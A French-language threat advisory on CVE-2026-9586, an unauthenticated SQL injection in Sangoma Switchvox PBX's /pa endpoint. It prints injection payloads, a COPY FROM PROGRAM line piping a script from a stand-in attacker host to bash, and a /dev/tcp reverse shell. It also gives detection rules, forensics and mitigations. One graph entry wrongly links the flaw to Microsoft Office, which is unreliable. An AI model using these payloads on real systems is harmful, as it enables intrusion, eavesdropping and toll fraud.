Aller au contenu

CVE-2026-9586 : injection SQL non authentifiée et exécution de code à distance dans sangoma switchvox PBX

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE TÉLÉPHONIE D'ENTREPRISE

Cible : Sangoma Switchvox PBX (Édition SMB)
Confiance : 98%
94 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 18 / 20
Prévalence 17 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v3.1 évalue CVE-2026-9586 à 9.8 (Critique) et CVSS v4.0 à 9.3 (Critique). Le score de menace Hermes Threat Score lui attribue 94 (CRITIQUE). Cette sévérité découle de l'exposition fréquente des serveurs VoIP d'entreprise sur Internet. Une simple requête POST XML vers l'endpoint /pa permet à un attaquant distant d'injecter des commandes SQL dans PostgreSQL avec les privilèges superutilisateur, aboutissant à l'obtention d'un shell root interactif sur le système d'exploitation.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBXVULNÉRABILITÉ

Nœuds connectés : 2
Relations sortantes actives
→ affectsCOMPOSANTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Sangoma Switchvox combine Asterisk, un serveur web Apache et une base de données PostgreSQL pour gérer le routage des appels d’entreprise, les messageries vocales et le provisionnement des combinés IP.

ParamètreCaractéristique TechniqueImpact Opérationnel
Identifiant CVECVE-2026-9586Fiche NVD et entrée catalogue CISA KEV
Service vulnérableAPI de provisionnement (/pa)Script FastCGI derrière Apache HTTP Server
Moteur de base de donnéesPostgreSQLDépôt des configurations et journaux d’appels
Protocoles réseauHTTP / HTTPS (80/TCP, 443/TCP)Interfaces web exposées sur le réseau
Origine de la failleConcaténation brute de valeurs XMLInjection SQL (CWE-89)
Versions affectéesSwitchvox SMB Edition 8.3 (build 104997) et antérieuresToutes versions 8.x non mises à jour
Version corrective8.4.0.2 (Diffusée le 14 juillet 2026)Mise à jour de sécurité officielle
Statut KEV CISAInscrite le 30 août 2026Exploitation zero-day puis active dans la nature

2. Décomposition technique : mécanique de l’injection SQL /pa

Section intitulée « 2. Décomposition technique : mécanique de l’injection SQL /pa »

Le point d’accès /pa écoute les messages de configuration émis par les combinés téléphoniques matériels (tels que Polycom VVX). Le terminal transmet son statut sous forme de document XML :

<PolycomIPPhone>
<PhoneIP>192.168.1.50</PhoneIP>
<MAC>0004f2112233</MAC>
</PolycomIPPhone>

Le code côté serveur extrait le texte de PhoneIP et assemble la requête de recherche de manière non sécurisée :

# Illustration conceptuelle du traitement défaillant
phone_ip = xml_doc.find('PhoneIP').text
query = f"SELECT extension, phone_type FROM phone_assignments WHERE ip_addr = '{phone_ip}'"
db.execute(query) # Concaténation vulnérable !

L’absence d’échappement des apostrophes permet à l’attaquant de clore la chaîne de caractères et d’enchaîner des instructions SQL multiples.

+----------------------------------------------------------------------------------------------------+
| ARCHITECTURE D'EXPLOITATION CVE-2026-9586 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Appliance Switchvox PBX]
│ │
[1] │─── POST /pa HTTP/1.1 ───────────────────────────────────────────────────────>│ Analyseur XML :
│ <PolycomIPPhone> │ Extrait la balise <PhoneIP>
│ <PhoneIP>'; UPDATE users SET pass_hash=...; --</PhoneIP> │ sans assainissement
│ </PolycomIPPhone> │
│ │
[2] │ │ Serveur PostgreSQL :
│ │ Exécute la requête injectée avec
│ │ privilèges superutilisateur
│ │
[3] │─── Seconde Phase : Exécution de Commande Système ──────────────────────────>│
│ <PhoneIP>'; DROP TABLE IF EXISTS cmd; │ Primitif PostgreSQL COPY :
│ CREATE TABLE cmd(c text); │ Déclenche un reverse shell
│ COPY cmd FROM PROGRAM 'curl evil.com/rev.sh | bash'; --</PhoneIP> │ avec privilèges root/asterisk
│ │
[4] │<════ Établissement du Shell Interactif ═════════════════════════════════════│ Hôte totalement compromis
│ │ Écoute des communications audio
+----------------------------------------------------------------------------------------------------+

B. De l’injection SQL à l’exécution de commandes système

Section intitulée « B. De l’injection SQL à l’exécution de commandes système »

L’utilisateur de base de données employé par le portail web disposant des privilèges superutilisateur PostgreSQL, l’attaquant exploite la clause COPY ... FROM PROGRAM pour demander au moteur de base de données de lancer un sous-processus shell :

'; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/198.51.100.42/4444 0>&1'; --

Parallèlement, les attaquants créent de faux comptes SIP dans les tables Asterisk afin de relayer des appels frauduleux vers des numéros surtaxés internationaux (fraude au péage / toll fraud).


3. Threat intelligence, CISA KEV & activités malveillantes

Section intitulée « 3. Threat intelligence, CISA KEV & activités malveillantes »
  • Entrée CISA KEV : ajoutée le 30 août 2026 suite à des intrusions réussies exploitées par des courtiers d’accès initiaux (IAB) et des groupes de cybercriminalité financière.
  • Vecteurs de menaces observés :
    • Revente d’accès SSH permanents vers les réseaux d’entreprises hébergeant le standard téléphonique.
    • Exfiltration des historiques d’appels détaillés (CDR) et des fichiers de boîtes vocales pour espionnage industriel ou chantage.
    • Déploiement de tunnels mandataires (SOCKS) pour pivoter vers les contrôleurs de domaine Active Directory.

TactiqueID TechniqueNom de la TechniqueApplication dans l’Attaque
Accès initialT1190Exploit Public-Facing ApplicationRequête HTTP POST malveillante vers /pa
ExécutionT1059.004Command and Scripting Interpreter: Unix ShellExécution via COPY FROM PROGRAM PostgreSQL
PersistanceT1136.001Create Account: Local AccountInsertion de faux comptes administrateurs
CollecteT1125Video / Audio CaptureCapture des flux RTP et enregistrements vocaux
Mouvement latéralT1021.004Remote Services: SSHPivoting depuis le PBX vers le réseau interne

alert http any any -> $HTTP_SERVERS any (
msg:"HERMES DEFENSE - Tentative Injection SQL Sangoma Switchvox /pa (CVE-2026-9586)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/pa";
http.request_body; content:"<PolycomIPPhone>"; fast_pattern;
http.request_body; content:"<PhoneIP>";
http.request_body; pcre:"/<PhoneIP>[^<]*(\'|--|;|UNION|SELECT|COPY|FROM\s+PROGRAM)/is";
classtype:web-application-attack;
sid:20269586;
rev:1;
reference:cve,2026-9586;
)
title: Injection SQL Non Authentifiée Sangoma Switchvox via /pa
id: c4d5e6f7-9586-4f11-a832-cve20269586-fr
status: production
description: Détecte les tentatives d'injection SQL visant le point d'accès /pa de Sangoma Switchvox
author: Équipe Cyberdéfense Hermes Codex
date: 2026-09-11
logsource:
category: webserver
service: apache_access
detection:
selection:
cs_method: 'POST'
cs_uri_stem: '/pa'
payload_indicators:
cs_uri_query|contains:
- 'UNION'
- 'SELECT'
- 'COPY'
- 'PROGRAM'
- '%27'
condition: selection and payload_indicators
fields:
- c_ip
- cs_uri_stem
- sc_status
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.9586

6. Investigation forensique (DFIR) & chasse aux menaces

Section intitulée « 6. Investigation forensique (DFIR) & chasse aux menaces »
  1. Journaux web Apache (/var/log/httpd/access_log) : relever les requêtes vers /pa provenant d’adresses IP extérieures ou inhabituelles.
  2. Journaux PostgreSQL (/var/log/postgresql/) : rechercher les erreurs de syntaxe SQL et l’apparition d’instructions COPY ... FROM PROGRAM.
  3. Fichiers de configuration asterisk : inspecter /etc/asterisk/extensions.conf et les tables de base de données à la recherche d’extensions créées récemment.
index=web sourcetype=access_combined uri_path="/pa" method="POST"
| rex field=_raw "<PhoneIP>(?<phone_ip>[^<]+)</PhoneIP>"
| where match(phone_ip, "(?i)(SELECT|UNION|COPY|PROGRAM|;|--|')")
| table _time, clientip, phone_ip, status

  1. Mise à jour firmware : appliquer immédiatement la version corrective 8.4.0.2 de Sangoma Switchvox.
  2. Filtrage périmétrique : ne jamais exposer l’interface web (ports 80 et 443) directement à l’ensemble d’Internet ; restreindre l’accès aux réseaux internes et aux VPN dédiés.
  3. Privilèges de base de données : dans les déploiements personnalisés, restreindre les droits du compte applicatif pour lui interdire le rôle SUPERUSER et pg_execute_server_program.
  4. Renouvellement des identifiants : procéder à une réinitialisation complète des mots de passe des comptes administrateurs web et des identifiants SIP.